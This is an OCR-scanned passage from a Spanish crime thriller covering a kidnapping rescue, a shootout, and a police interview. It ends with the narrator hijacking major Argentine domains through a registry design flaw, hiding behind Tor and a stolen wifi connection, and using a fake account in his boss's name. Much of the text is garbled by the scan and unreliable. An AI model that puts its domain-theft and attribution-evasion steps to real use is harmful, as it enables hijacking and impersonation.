implicaste en el secuestro de una chica inocente. ;Por qué, Juanjo? ¢ Por qué?

Vaci6 el vaso con un segundo trago que le obligo a cerrar los ojos con fuerza. Cuando los
abri6, me dirigié una sonrisa displicente.

—La sonrisa pas6 de desdefiosa a divertida-. ;De verdad necesitas

-Por qué, preguntas
sitas saber por qué la gente hace lo que hace?

que te conteste? ;De verdad, Angel, nece
_No nos metas a todos en tu mismo saco de mierda —le amenacé-. No todo el mundo es
una escoria como t.

La sonrisa de Juanjo se congelé como la del Jocker. Ya no tenia nada de divertida.

La verdad es que ti y yo no somos tan diferentes.

-1Y una mierda! —escupi.
_Es cierto. Si no me crees, piensa en cémo hemos llegado hasta aqui —Me dio unos

instantes para reflexionar mientras se acomodaba en un taburete tras la barra-. Tu
querias proteger a tu amiga, novia o lo que sea. El mismo instinto de proteccion hizo
que me embarcara en esta empresa.

-;Qué proteccion ibas a procurarte colaborando con unos cuantos criminales? —le dije-.
,Qué necesitabas proteger para Hegar a eso, Juanjo?

Su mano abarco la estancia como si la respuesta estuviera alli mismo, entre los cuadros de

firma y los lujosos paneles de roble.
s, el club de campo... {Mi mujer! iMi modo de vida! ;Tu

-Esta casa, el piso, los coche v
(Crees que puedo permitirmelo con el sueldo

sabes lo que cuesta mantener todo esto?
de Epica?

-{Por dinero! —le grité-. {Has secuestrado a Yolanda!{Por dinero!

-Claro que por dinero, idiota. ;Por qué iba ser sino? El dinero mueve el mundo y nunca
es suficiente. Sé que suena materialista, pero es la pura verdad.

-Entiendo que tuvieras ambiciones, pero jenfangarte en un asunto de corrupcién?

na élite politica y econémica. El resto de ciudadanos no

-Este pais est4 en manos de u
cuenta para nada. Si quieres aspirar a lo que ellos tienen, debes entrar en su juego. Nadie
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C()nSIgue Ilada S] no es aCeptaIldO Sus re laS Y S.I eslas CO el O
o
g 1 S, no tleneS Ilada que

-Estd la policia —objeté-. Estan los jueces.

-Nome haggs reir—resoplo, mas enfadado que divertido-. La policia ylos jueces d d

de los p011t1cos.’ L(?uéntos de estos acaban en la cércel después de quejsus chaggﬁnllen
salgz/m alaluz publica? {Ninguno! Los politicos han montado este sistema C'.onmnidlzldo’S
Autonomas, ayuntamientos, empresas piiblicas... No son mas que platz‘lformas dongS
los ’p.artldos colocan a los suyos para mantener sus estructuras de poder. Los partid ;
politicos ostentan el verdadero poder. Si todavia no lo crees, piensa en cc')m'o los politicgS
han’ quebrado esas instituciones con sus despilfarros y sus corruptelas y en ql?iénes l;
estan pagando ahora. No tienen ningin tipo de responsabilidad. Los mismos que han
creado el problema, dicen pretender solucionarlo subiendo atin mas los impues(tlos ue
ellos no tendran que suffrir porque su dinero est4 bien seguro en paraisos fiscales. 4

-Puede que tengas razoém, pero eso no justifica tus crimenes.

-Es muy’d1ﬁc11 mantenerse limpio cuando todo lo que te rodea estd manchado por la
corrupcidn; cuando personajillos sin la mas minima preparacién nadan en la abundancia
de la noche a la mafiana, solo porque su partido los ha puesto muy arriba en una lista
elect.oral y ahora son concejales de urbanismo en algtin pueblo de medio pelo; cuando
algulen te ofrece un trozo de ese pastel a cambio de muy poco, 10 aceptas sin ,més No
quiero seguir formando parte de esa clase media que los politicos estan destruyeildo
Quiero formar parte del club de los elegidos. .

-¢Qué te pidieron a cambio?

[
-Ayudé a montar una red segura para sus operaciones —confeso6-. Telgroup conseguia
contratos 1nﬂad_os de la Comunidad sobornando a las personas adecuadas. Para disfrutar
de 1qs beneficios necesitaban los recursos de Epica. Yo me encargaba de todo lo
relacionado con la seguridad. Nada diferente a lo que hacemos para nuestros clientes.

-¢Nos utilizaste?

-De la mayor parte del trabajo me encargué yo mismo, pero tengo que admitir que
€n ocasiones recurria a alguno de vosotros. Como cuando tuvimos que identificar al
empleado que robd el archivo.

-Pablo lo descubrid. Por eso fuisteis a por él.

-Ese asunto lo manejaron desde Telgroup. Y debo decir que de forma incompetente.
Para cuando me informaron de su error, ya era demasiado tarde.

-Entonce_s’averiguasteis que Pablo habia enviado el archivo a Yolanda y fuisteis a por
ella. ;Quiénes son los dos tipos que enviasteis?
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-Ah. Ibafiez y Salcedo. Dos sujetos a los que Telgroup recurre cuando surgen
complicaciones. Tienen habilidades muy concretas y estdn tremendamente motivados

por un buen salario.

-;,Sabias que intentaron matarme?

-Yo 1o tuve nada que ver —se defendi6-. Cuando me enteré, me puse furioso. Actugron
sin mi conocimiento. Si hubiera sabido lo que pretendian, lo habria parado y manejado
de otro modo.

-Ahora mismo estoy conmovido.

-El sarcasmo no te ayudara, Angel —Sacudi6 la cabeza-. Me has dejado sin opciones. Tu
suerte ya no depende de mi.

-Dime dénde estd Yolanda —exigi-. ;Esta aqui?

-¢Serviria de algo si te dijera que nunca imaginé que todo acabaria de este modo?

-No. ;La tienes aqui? ~repeti.

-Los dos sabemos que esto terminara mal. Y solo porque ti has querido que asi fuera.
-iMaldito hijo de puta! ;Donde estd Yolanda?

-iEn el sotano! —grité, desviando los ojos hacia un punto por encima de mi hombro-.
Ahora mismo te reunirds con ella.

Segui la direccién de su mirada, pero el cafion de una pistola contra mi _mej illa impidié que
me volviera por completo. Atin as, por el rabillo del ojo reconoci a quien me apuntaba.

-; Tu eres Ibafiez o Salcedo? —pregunté.
Esparrago, como le habia bautizado Marcos, se habia acercadq desdela cqcing sin que yo me
diera cuenta y ahora me obligaba a levantarme con una sonrisa de suficiencia remar'cgndo
la crueldad de su rostro. Ya en pie, alcé los brazos sin que ninguno dﬁ: los dos me lo pidiera,
supongo que influenciado por haber visto ese mismo gesto en infinidad de peliculas.

-¢Y Salcedo? —le pregunt6 Juanjo.

-Lo he dejado con la chica.

-Asi que ti1 eres Ibafiez —le dije con voz temblorosa.

-jCéllate! —No parecia que quisiera presentarse formalmente.

-¢Por eso querias que viniera? —le pregunté a Juanjo, escupiendo tqdo el despreleo que
sentia-. Querias tenernos a los dos juntos para matarnos ¢ Vas a dejar que este tipo nos
dispare a sangre fria? ;Tu conciencia te dejara seguir viviendo?

-Te has puesto t1 solito en esta sitnacion —dijo, evitgndo mirarmc? mientras se ac'ercaba a
la puerta del pasillo, haciendo gestos de impaciencia a su compinche-. {Vamos!
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Ibéﬁg‘z me empujé con la pistola hacia el pasillo. Cuando pasamos Jjunto a Juanjo, este
NOS S1guio en direccién al recibidor. Cada vez que reducia el paso, Ibafiez me clavaba e]

cafion de la pistola en la columna, obligandome a seguir. De este modo llegamos a las
escaleras.

-Abajo —ordené Juanjo. Y dirigiéndose a Ibafiez-: Saldréis por el garaje.
-El coche esta preparado —informé este, ddndome un nuevo empujon en la espalda.

Comencé a descender los peldaiios con los otros dos siguiéndome los pasos. Ante mi tenia
un descansillo y luego la escalera giraba a la derecha. Ninguna luz iluminaba ese tramo,

=

pero llegaba suficiente claridad del primer piso para mostrar una puerta cerrada al fondo.
Juanjo se adelant6 para abrirla.

A§cedimos a un largo pasillo, con tres puertas cerradas a la derecha. Ignoramos las dos
primeras y nos plantamos ante la Gltima. La llave estaba puesta y colgaba de la cerradura,

-(Dénde estd Salcedo? —pregunt6 Juanjo.
El otro se encogié de hombros con evidente desconcierto,
-Habrd ido al coche —apunts.
-Es igual. Saquemos a la chica y terminemos con esto.
Ibéfiez abrié Ia puerta.

Ante nosotros aparecié un cuarto sin ventanas de paredes de hormigén, concebido
originalmente por el arquitecto como despensa o almacén, pero que a la vista del colchdn
desnudo sobre el suelo se habia estado utilizado como celda. En el centro, boca abajo y con
las manos atadas a la espalda, Salcedo yacia inconsciente,

-Pero (qué cofio...? -exclamé Ibéfiez, retrocediendo hacia el pasillo.
-iTira el arma al suelo! —grit6 Marcos desde el otro lado.

Sé que todo sucedié muy deprisa, que apenan transcurrieron unos segundos, pero al
recordarlo siempre pienso en una de esas secuencias de la pelicula “300”, donde su director,
Zack Snyder, juega con el ralenti y la aceleracion de la imagen, distorsionando el tiempo
de la accion.

Marcos apareci6 por la primera puerta del pasillo, a cubierto tras el marco y empufiando una
pistola que apuntaba al pecho de Ibafiez. Este termin de volverse, abri6 los ojos de par en
par cuando localiz6 la amenaza y empezo a levantar su arma. Yo me abalancé sobre Juanjo
y ambos cafmos en el interior del cuarto, junto al cuerpo inerte de Salcedo. A horcajadas
sobre Juanjo, me giré y observé a través de Ja puerta abierta.

Ibafiez dispar6 dos veces desde el pasillo (pum, pum) y mis oidos se llenaron de pitidos.
Escuché otras dos detonaciones seguidas (paf, paf), como truenos apagados de una
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su pecho aparecieron dos agujeros rojos, que se extendieron poco a poco hasta formar una
{nica mancha escarlata en la camisa, y sus ojos quedaron fijos en un punto cualquiera.

La pistola, que habia abandonado sus manos, ahora daba vueltas en el aire, como si la
gravedad no tuviera fuerzas suficientes para atraerla. Acabé chocando contra el suelo de
la habitacién y rebotando hacia donde Juanjo y yo nos encontrabamos, a solo un metro de
nuestro alcance.

Juanjo fue el primero en reaccionar; me lanzé un pufietazo a la cara y consigui6 escabullirse
por un lado. El golpe me dejo algo desorientado y lo perdi de vista durante los pocos
segundos que tardé en recuperarme. Me volvi para contraatacar, pero Juanjo ya se habia
hecho con el arma y me apuntaba.

No vi mi vida pasar por delante de los 0jos, solo el cafién de la pistola destinada a ponerle
fin. Mientras esperaba la bala, me pregunté absurdamente si escucharia el disparo antes del
fundido a negro. Luego decidi que eso no era importante y me acordé de Yolanda. A través
de las lagrimas, pude ver lo que ocurri6 a continuacion.

Marcos irrumpié en el cuarto con la pistola levantada en posicion de combate, observo la
situacion y embistio contra Juanjo en el momento en que este disparaba. Se produjo un
fogonazo atronador que arranc trozos de pared sobre de mi cabeza. Los dos cayeron al
suelo y comenzaron a luchar, cada uno intentando apuntar y trabar los brazos del contrario

a un mismo tiempo.
Con un movimiento de piernas, Marcos se situ6 encima y le inmoviliz6 las mufiecas. Se
dio cuenta de que el otro trataba de girar el arma y apuntar hacia arriba, asi que le solté un

rodillazo en el costado. Juanjo se encogi6 de dolor y relajo la mano, aunque no acabd de
soltar la pistola. Solo lo hizo cuando Marcos le estrell el codo contra la nariz y todo se le

volvio de un rojo intenso y doloroso.
Para cuando pude levantarme y echar una mano, mi amigo ya lo tenia controlado. Le até
las manos a la espalda mientras le ponia una rodilla sobre el cuello para impedir que se
moviera. Una vez asegurado, lo arrastré junto a Salcedo, a quien el estrépito habia devuelto
la conciencia. Ambos se agitaron impotentes en el suelo, como sardinas fuera del agua.
Lo siento —sollozaba Juanjo, con un gracioso tono nasal provocado por su nariz rota-,
lo siento, lo siento, lo siento...
- Estas bien? —me pregunt6 Marcos, ignorando su lamento y palpandome el torso sin
esperar a mi respuesta.

-Estoy bien —dije, sefialando el orificio de ]a pared-. Me has salvado la vida... Otra vez.

-Bueno —dijo, mientras se guardaba las armas a ambos lados de la cadera-, al final ya
sabes que “o mueres como un héroe...”

..o vives lo suficiente para verte convertido en un villano”-continué-. Si, lo sé. Por
cierto, ;donde esta Yolanda? ;Se encuentra bien?
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l%/glslrmgo 8¢ acerco, puso una mano sobre mi hombro y me mird con su expresién habitual
1a que estuviera a punto de darme una mala noticia y empecé a negar con la cabeza.

p q S lablOS S€ curvaron un m 1 tro haCla a”lba ]() sulicient
€10 SOIO hasta ue su Hime
5 f nte para

-Ven conmigo —me dijo.

-;Qué pasa con estos? —pregunté, sefialando con la barbilla a los dos prisioneros.
-Déjalos ahi. No se van a escapar.

Sa}1~0 al pasﬂlo y gir6 en direcci6n a las escaleras, pasando por encima de las plernas de
Ibafiez sin prestarle la menor atencién. Yo esquivé el cadaver (la mirada perdida indicaba
que habia muerto) con algo mas de escripulos, pero no hasta el punto de sentir lastima por
el hombre que me habia causado tantos males. Fl habia tomado muchas malas decisiofles
en la vida, la ultima de las cuales habfa sido disparar contra Marcos: y que Marcos estuviera
armado cuando lo hizo la convertia en la peor de las decisiones po;ibles.

Sa.hmos_ al garaje por la primera puerta. Tenia el tamafio suficiente para albergar al “Halcén
Milenario”, pero alli solo estaban estacionados el Mercedes de Juanjo y una furgoneta
oscura cor la puerta trasera abierta. Ambos vehiculos se alineaban de cara al portén de
entr’ada y parecian preparados para salir de un momento a otro. En la pared del otro lado
habia varias estanterias metalicas y una tnica puerta.

Nos asomamos a la caja de la furgoneta y vimos que el interior estaba forrado de plasticos
transRarentes. IEncontrarme ante la prueba del destino que nos habian reservado a Yolanda
y ami me secé la boca, pese a que era consciente de que el peligro habia pasado.

-Vi este coche durante la vigilancia de la casa de Etxeondo —dijo Marcos, apoyando una
mano sobre el Mercedes.

Era verdad. Marcc_)s habia anotado todas las matriculas de los vehiculos que paraban en
casa de nuestro objetivo, pero yo habia estado demasiado centrado en los aspectos técnicos

dg l_a t}nvestlgacic’)n como para comprobarlas y establecer una relacién con el Mercedes de
mi jefe.

-¢Y bien? —pregunté a Marcos.
Mi amigo sonrié y sefiald la puerta solitaria.

-Le‘dije que se escondiera ahi hasta que todo terminara —Me empujé con delicadeza
hacia la puerta-. Adelante, colega.

Me acerqué con paso inseguro, flotando como un astronauta sobre la superficie lunar. Las
piermas me temblaban y me faltaba la respiracion, pero consegui llegar al pomo y asirlo
con mano firme. Empujé, permitiendo que la luz penetrara en el pequefio cuarto y llegara

{1asta g_lﬁrmcon mas apartado. Alli, acurrucada como una nifia asustada, Yolanda se sujetaba
as rodillas.

BT T T
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Es cierto que estaba sucia y desalifiada tras tres dias en calljltivédad, gpe llegabgslz 1?1121211{;2 ;;)c%a
i isefiador 3
tro, tan arrugada que parecia la obra de un :

ot i i d cidn; pero cuando alzo la cabeza
i botargado por el miedo y la desesperacion; p

i i c: do sus ojos destellaron con la luz del
iro és del cabello desordenado. cuando sus o]

 ancinaiento, § i6 hacia mi para abrazarme, cuando
imi ' salto y corrid hacia mi p 5

reconocimiento, cuando se levanto de un s2 h i para do

la estreché entre mis brazos y senti sus lagrimas de alegria en mi mejilla, cuando todo

sucedi6, por un momento, solo por un momento, todo fue perfecto.

Después, escuchamos el ulular de las sirenas.

Capitulo XXVIII: Redencidn ﬂ

Capitulo XXVIII
Redencioén

Cuando la policia se hizo cargo, todos nos vimos envueltos en un buen follén.

Solo pudimos intercambiar unas pocas palabras antes de que nos Separaran y metieran
a Yolanda en una ambulancia camino del hospital. A Marcos y a mi nos trasladaron a
la Comisaria General, donde Susrez y Prado estaban ansiosos por saber, seglin palabras
del primero, en qué cofio estabamos pensando para asaltar la guarida de unos peligrosos
delincuentes y dejar un fiambre en el camino.

Atras quedo la escena del crimen, rodeada por vehiculos-patrulla y bajo un aura de destellos
azules, con su ejército de policias recabando pruebas, ocupandose de los detenidos y
asistiendo al levantamiento del cadaver.

No me dejaban ver a Marcos. Tampoco me decian nada sobre Yolanda. Esperé durante
horas en la misma sala de interrogatorios que la iltima vez a que los inspectores terminaran
€on sus asuntos y se ocupasen de mi. Cuando llegaron, les conté la verdad, tal como Marcos
me habia aconsejado.

-Cuando descubri que mi jefe, Juanjo Rivas, era quien retenfa a Yolanda y habia
recibido la omden de matarla esa misma noche, envié un correo al inspector Prado con la
informacioén y las pruebas.

-Pero luego pensaste que era mejor idea actuar por tu cuenta y riesgo —repuso Suérez.

-Era cuestién de vida o muerte, ;qué queriais que hiciera? (Esperar a que os decidierais
a montar una de vuestras operaciones de rescate? Ya era demasiado tarde para eso. Tenia
que ganar tiempo y asegurarme de que Yolanda no sufria ningiin dafio.

-Razén por la cual te metiste derecho en la boca del lobo —apunté Prado.

-Sabia que a mi también querian silenciarme. Antes de descubrir su implicacién, le dije
a Juanjo que le ensefiaria las pruebas. Después, fingi ignorancia y le segui la corriente,
pero al final lo acusé de formar parte de la trama y de participar en el secuestro. Entonces
lo confes6 todo.

-¢Por qué harfa una cosa asi? —pregunt6 Suérez.

-Supongo que se sentfa seguro, al creer que ya nos tenfa en su poder.

-Pero tu amiguito el boina verde también rondaba por alli.
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-El plan era que yo entretendria a Juanjo mientras Marcos se infiltraba en la casa desde
el bosque. Tenia que sacar a Yolanda y llevarla a un lugar seguro, a ser posible sin que
sus captores se dieran cuenta. Después, esperaria a la policia. Pero al final, las cosas se
complicaron.

-{Vaya si se complicaron! Tu amigo se enfrenta a una imputacién por homicidio. Eso sin
contar lesiones, obstruccion a la justicia, tenencia ilicita de armas. ..

-, Qué esta diciendo? —exclamé, furioso y perplejo a un mismo tiempo-. Marcos puso en
riesgo su propia vida para salvarnos. El otro tipo no le dio opcién. Fue defensa propia.
Es un héroe. Deberian darle una medalla.

-Tranquilo, que por nosotros no serd. Sabemos lo que habéis hecho y estamos de vuestra
parte. Pero las leyes de este pais no favorecen a los héroes.

-Es l6gico, cuando quien las hace es gente como la de esa lista —sefialé, haciendo
referencia a los politicos que habian recibido pagos.

Ya amanecia cuando me soltaron y pude regresar a casa. Marcos debia permanecer detenido
a la espera de pasar a disposicién judicial. Los inspectores me aseguraron que saldria bajo
fianza debido a las circunstancias atenuantes, pero eso no me tranquilizé lo mas minimo.

Después de una intensa busqueda en Google, contacté con un prestigioso abogado, Satl
Gomez-Valls, famoso por desmontar las acusaciones mds s6lidas de la fiscalia gracias a su
oratoria ante el jurado y la inteligente manipulacién de los medios en favor de los intereses
de sus defendidos. Cuando le hablé de Marcos, acepté defenderlo gratis, encantado por las

repercusiones mediaticas del caso.

El abogado consigui6 su libertad con cargos, sin necesidad de abonar ninguna fianza. Le
carantiz6 que después del juicio quedaria absuelto, si es que la fiscalia se atrevia a continuar
con la acusacién ante la tormenta periodistica que pensaba desencadenar. Se despidieron
con un apretén de manos en la puerta del juzgado, donde yo esperaba a mi amigo para

llevarlo de vuelia a casa.

Yolanda habia salido del hospital tras unas horas en observacion. Para cuando pude llamar
a su habitacion, ya le habian dado el alta. Al final, pude contactar con ella por medlo
de Pablo. Me dijo que se marchaba al pueblo de sus padres, que necesitaba un tiempo
alejada de todo para recuperarse ;Lo entendia? Claro. Habia pasado por una experiencia
muy traumdtica y queria estar con los suyos. ;Me dol ia? Por supuesto. Después de todo lo

que habia sucedido, esperaba algo diferente.

En cuanto a la operacién policial que se inicio tras los acontecimientos de la noche del
lunes, todavia estaba en curso. Se habian practicado registros en las oficinas de Telgroup
y Epica, asi como en los domicilios de Etxeondo, Alexander y Juanjo. Con las pruebas
obtenidas, la policia también habia identificado a otros implicados.

Al final, los investigadores estaban bastante seguros de poder demostrar que los detenidos
habidn establecido un entramado societario para nutrirse de fondos de la Comunidad.
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Mediant ibli
e el soborno de cargos publicos, conseguian la adjudicacién de contratos a dedo

que leS IepOI taball pl‘l gﬁes beIleﬁC'lOS IOS Cuales s€ IepaItlall €n cuent
. s uentas bancanas de

Sin embargo 2 i i
misreﬁcsam‘én’z;a; pru;bds que _wflculaban a autoridades politicas habian desaparecido
et éner‘ do sg 14 que existian. De_ hecho, las tenia en mi ordenador y demostraban
s cﬁ i 0 de uda, que much_qs miembros del gobierno habian recibido cuantiosas’
e ;.n aSSQTCO{Tp sdu relaclmn con los detenidos. El problema, como siempre
utilizadas en la causa debido al i ;
b am Lo ‘ S 0 al modo en que se habian obtenid
as, un legalismo que impedia h justici -
as, g acer Justicia. Ademads, si insistia &
presentarlas ante un juez, este las re i 1 y o 50, U
; . chazaria y quien acabaria en la ¢4 i J
a5 ante u ¢ a carcel seria
mas, la ley protegia al delincuente y desamparaba a la victima o Lnavez

La ..

= lgl:nxlzaanotluf:iaé a'unque no representaba consuelo suficiente, fue que se decretd prisidn

pn lianz par‘a txem}do, Alexander, Juanjo y Salcedo por los delitos de tentativa de
tc1dio, secuestro, fraude y blanqueo de capitales.

1erm on ba n CaSa, Sentado ante el CSCI‘ltOI‘IO Culmlnando el prO ecto

qtlE hab]a IIllCladG de fOl'lIla Casual EI dla en qlle empeZO tOdO Utll Zaba IOS HlOIlltOIeS
. 1

£y (i} n e! de la 1Z U.leIda veEla laS

al.:i;!e;rz jﬁzdzuiesgrf:éaa}; alllte %umer;)sos medios de comunicacién, Esther Alvarez ha
ra de la vida politica por razones personal i
! _ a litica. es. Este anuncio, que ha
;{;ﬁggllc‘l:igs t;aaplr;oggﬁ‘f e:_ﬂ,:ranlcjs, halcommdldo en el tiempo con una espectacular opeciacién
@ peion. La policia continiia con los registro
l : : s de la empresa Tel
concesionaria de importantes contratos pibli 3 i Toadon
tblicos, después de d

Sonceslo S p X que varios de sus empleados

cagegasﬁzca}cusafms de fraude'. Spgun algunas fuentes a las que ha tenido acceso esta

- ,re o 10nsut'110fj y cargos pubhcog de la Cqmumdad podrian estar implicados. La hasta

g £ Si eﬁna a desmentido estas informaciones y ha querido negar que las actuaciones

gl lick aet:rs’ eTayat? ,empujado a dejar el cargo, ya que era una decision que habia tomado

i ;s. 3111 ién ha aprovecha@o_para defender la honestidad y transparencia de todos

1 ros de su gobierno, cuya unica preocupacion, segiin sus propias palabras, ha sido
velar por los intereses generales de los ciudadanos. ..

gjr:&z del1 presentador cozrlt_inuabe'l repasando los logros conseguidos por las presidenta
ox etsu' zcilrga carrera politica, mientras en la pantalla se pasaban videos con sus grandes

mentos: dando un dlgcurso ante sus fieles, hablando ante la asamblea, concediendo una
entrevista, cortando la cinta durante una inauguracion. .

Sacudi la cabeza y, como t. '
g antas otras veces en que necesitaba
- > e
apagué el audio y me concentré en el trabajo. ! SRS I sombras

La { as 1
= Szﬁl;ng ;})Eeisada, habla encontrado el fallo mas importante de toda mi carrera por pura
ad. &l organmismo encargado de registrar dominios argentinos presentaba un error
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de disefio que permitia transferir dominios de un usuario a otro sin necesidad de que el
primero lo autorizase. Més que una transferencia, era un robo.

Para explotar aquella vulnerabilidad, primerq necesit‘aba crear una baszle I;ie fiatgi gﬁz
requeria millones de consultas HTTP a sus servidores. f,on ese proposito, elabore glojhabia
un script que la creaba. Pero atin no habia parado, seguia crecwndg Ientamfeme ¥ 5 bia
alcanzado los cuatrocientos mil registros. Iba dc::massado despacio. Queria quedarme
unos cuantos dominios y lo queria en aquel preciso momento.

Continué investigando y aprendiendo como funpionaba la Web dgl NIC por si dvoiwaoz;
sonar flauta. Al fin y al cabo, tampoco habia dedlcgdp ,demas1a’do tleynpol.az1 egtenh ert: pue
completo a causa de los Gltimos acontecimien.t,os. Visité y pr.ol.)e7 ’ﬁmcmna idades hasta q
encontré mi preciada recompensa: “Informacién de un dominio”. .
licacién, se obtenian los datos del duefio, fepha de creacidén y
otocolo whois. Alli, tras introducir un horrible CAPT,CHA y
de la pagina, tres lineas resaltaron sobre todas las demas como

Desde esa parte de la ap
expiracién propia del pr
visualizar el cédigo fuente
si fueran monedas de oro del “Mario Bross™.

<tr glass="texto">

<td>
<b>Identificador</b>

</td>

<td>

L
o>
1CB365-ARNIC-FS

</b>

. inio" valgs= ; e
\'<irsut typs="hidden” nipe="troomni odbominio®” valus="1001604" id
e vDS= 2n” A

<ipput tvese='aidden” nfime="LIom .
b =
</tr>
<f-— 3GN-646 INICIO -->

A i ios ”
_nombreDominio™ value="spicz.ar

<script> ) .
5 ('#datosPCR’) .css ('display’, '"}:
</acript>

<l-— SGN-645 FIN —->

is.

za del puzle, en nada mas y nada menos que un
1li porque un desarr(?llador lo puso para Flepur(’;lr
errores. Eso facilitaba y aceleraba las cosas. Ya no era necesario esperar a que t?’r'n(ligzisrc z
crearse la base de datos. Haciendo un whois a! (!Omlnlo que quisiera ‘trasﬂasad (femars
las comillas) y viendo el codigo fuente de la pagina, c_;btendrza el_ u_‘.‘entlf':;:ia or de ot (;
Con ese identificador y la vulnerabilidad en el historico de dominio, podia sat:r, eda% a
de usuario, la segunda y tltima variable ‘necesaria para generar la URL. Asi qu
confirmado que podia robar cualquier dominio argentino.

Acababa de encontrar la ultima pie
comentario HTML. Seguro que estaba a
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Ce}"ré' el pufio y arremeti un codazo contra mi costado como si hubiera marcado un gol en
el ultimo minuto en la Liga Master del PES: Game Over.

Rep]etp de euforia, me levante de la silla para dar un paseo mientras cavilaba qué hacer
a continuacion. Disponia de unas pruebas mas que sélidas, pero inadmisibles para los
tribunales de justicia. ;La prensa? Estaba descartada. Ningin periodista se atreveria a
publicar nada de lo que tenia. ;La policia? De ningun modo. Los mandos policiales estaban
escogidos por los politicos y nunca permitirian que se siguiera con una investigacion que
podria poner fin a sus carreras. Todo eso era cierto. Pero Y0 10 lo aceptaba. No aceptaba
que los politicos se fueran de rositas después de todo el dafio que habian causado.

Por suerte, ahora disponia de los instrumentos necesarios para impedirlo.

Tenia la certeza de que mi actuacién futura traerfa consecuencias legales y, como no
queria volver a ver a Prado ni a ninguno de sus compafieros de la Brigada de Investigacién
Tecnoldgica, decidi tomar todas las medidas de precaucion posibles para ser ilocalizable.
Un ninja entre los bits.

Baj¢ lqs escaleras con lamochila al hombro y conduje tres kilémetros hasta una urbanizacién
tran.qulla. Aparqué, me situé en el asiento del copiloto para tener mds espacio, encendi el
equipo y me conecté a la primera sefial wifi de ADSL que encontré: JAZZTEL 8721.

Primera fase completada.

Tor* (The Onion Router) permite navegar de forma anénima mediante nodos conectados
que forman una red independiente y geograficamente dispersa por todo ¢l planeta, lo que
la convertia en un elemento perfecto para asegurarme de que practicamente era imposible
rastrearme hasta el origen. En el peor de los casos, acabarian investigando al pobre
propietario de 14 sefial wireless que estaba robando.

Arranqué una mdquina virtual recién instalada, sin software ni ningtin dato relacionado a
mi. Alli abri el Firefox y eliminé todas las extensiones y plugins que habia instalados: java,
flash, quicktime... Cualquiera de ellos podria dejar una huella que expusiese la direccion
IP real de la conexi6n.

Sobre la maquina virtual, descargué y configuré el paquete Tor Browser*, que incluye
un cliente de Tor, el interfaz grafico Vidalia y Tor button, una extensién para Firefox que
facilita su uso.

Por ultimo, con un poco de paranoia pese a que la instalacion era nueva, arranqué Firefox
en modo incognito; asi evitarfa que se usase la cache o sesiones del navegador existentes.

Con todo dispuesto, podia navegar sin miedo a dejar huellas.
Segunda parte terminada.

Creé una cuenta de correo en Gmail y otra del NIC con datos personales falsos, por
supuesto. Como no tenia ganas de ser creativo, me vali de los de Juanjo. Después meti todos
los documentos probatorios en un fichero ZIP: imagenes, videos y audios que habia ido
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obteniendo durante mi propia investigacién. No dejé n‘a.da; de esta forma nadie dudgna (]E:i
]a credibilidad de los datos ni de los nombres de los politicos corruptos que se rgt_rata Dan.
ZIP lo subi a siete paginas distintas de ﬁchero§: r:_a.pldshare, mediafire, yougznd1t, ItIlll’(lil;SS en
con ¢l propésito de que, cuando se hicieran publicos los enlaces, las autoridades tar

lo méximo posible en eliminar el fichero de todas ellas.

A continuacion, abri un nuevo blog en Blogger. Escribi una pequenia ’intro_duccwn en uria
entrada y posteriormente copié las URL con el ZIP que_acababa df‘.‘ subir. Hice exaé:trflmen e
lo mismo con la plataforma de Wordpress. Si las autoridades pedian el cierre, tendrian que
hacerlo de dos sitios y se ganaria algo de tiempo.

Era el momento de dar a conocer mis nuevas paginas web.

Tercer hito cumplido.

For Members:
[ Main Meoy 1
{ Domams J
I Subdomains ]

Health: Active

Dynamic
[ “ons 7| abe.ar [Manzge
Pv6 Shared: Private
71 Health: Active

a vc rUE 20minutos.ar [ Manage } i

{Export) (View Hosts/Delete) (Comments)
(Edit SOA) (Edit Secondarias)

(Export) (View Hosts/Delata) (Comments)
DNS Shared: Private (€4t S08) (Edit Secondaries)

Health: Active

I
1 -
L ocogle.ar [ Managa 1 Export) (View Hosts/Delete) (Comments)
1| Shares: private @L@A) (Edit Secondaries)

11 Health: Active

facebook.ar [ Manage 1 (Export) (Wﬂ))@)

Shared: Prvata Edit S04) (Edit Sacondaries

Health: Active ¢ i
Everybody: | . tube.ar [ Manage 1

= 5 Shared: Private

i Homs 1 | pealth: Active

(Export) (View Hosts/Del Ie;. ) {Comments}
(Edit SOA) (Edit Segondaries)

& 3 | e Lanagen (Export) (View Hosts/Dalete) (Comments)
[ dNews ] 1 shared: Povate (ES2a) (gt Secondaries)

DNS Health: Active SOA) (Edit Secondares
¢ s 7| ooner Canage (Export) (Visw Mosts/Delets) (Gommants)
{ AUP/TQS ] | Shared: Private (Edit S08) (E )

Health: Active

meneame.ar { Manage 1 (Export) (View Hosts/Delets) (Comments)
(Edit S0A) (Edit Sacondaries)

Health: Active ”@

e Pl ST

odificando la configuracién DNS de afraid.org.
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Me di de alta en el servicio gratuito de DNS de afraid.org. Asi podria gestionar dominios via
web y, por lq tanto, de forma an6nima. La configuracién fue ripida. Consulté luego cusles
eran lgs paginas mas vistas de Argentina y los periédicos mas importantes, y los afiadi al
servicio. Algunos los puse apuntando al blog creado en Blogger y otros al de Wordpress.
Luarta meta alcanzada.

Usando la vulnerabilidad del NIC, pedi la transferencia de diez dominios a la cuenta del
falso Juanjo en el propio NIC: elmundo.ar, elpais.ar, abc.ar, 20minutos.ar, google.ar... A
los cinco minutos, una vez se hubieron transferido, modifiqué los servidores DNS que
debian de usar aquellos dominios desde la web del NIC, sustituyéndolos por los de afraid.

Quinto y ultimo golpe lanzado: K.O.
S_egl'm fuese pasando el tiempo y propagéndose el DNS, la noticia seria cada vez mas
visible, produciéndose una reaccion en cadena por el resto de medios y paises como si de

la fision de un niticleo de uranio se tratase. Nadie podria pararlo. En Internet se escribe con
tinta, y a mi se me habia concedié una hoja en blanco.

Conduje de regreso a casa con un agradable cosquilleo recorriéndome desde 1a nuca hasta
la punta de los dedos. Sabia que era algo psicosomatico, una reaccién fisica producida por

un sentimiento pleno de liberacion, pero parecia que realmente me hubieran quitado un
gran peso de encima.

Una vez en mi despacho, cai rendido en el sillén. Apoyé los pies sobre el borde del escritorio,
cerre los ojos y dejé que la oscuridad y el silencio tomaran el control.

No sé cuanto tiempo pasd, si me quedé dormido o solo me encontraba en un estado de
meditacion profunda. El caso es que el mévil trond y me tir6 al suelo. Tuve que arrastrarme
hasta la estanteria donde lo habia dejado, con una punzada de dolor en el costado, para
contestar antes de que lo hiciera la sefiorita del buzén de voz.

-Angel cafdo al habla —bromeé, después de comprobar que era Marcos quien llamaba y
pulsar la tecla verde.

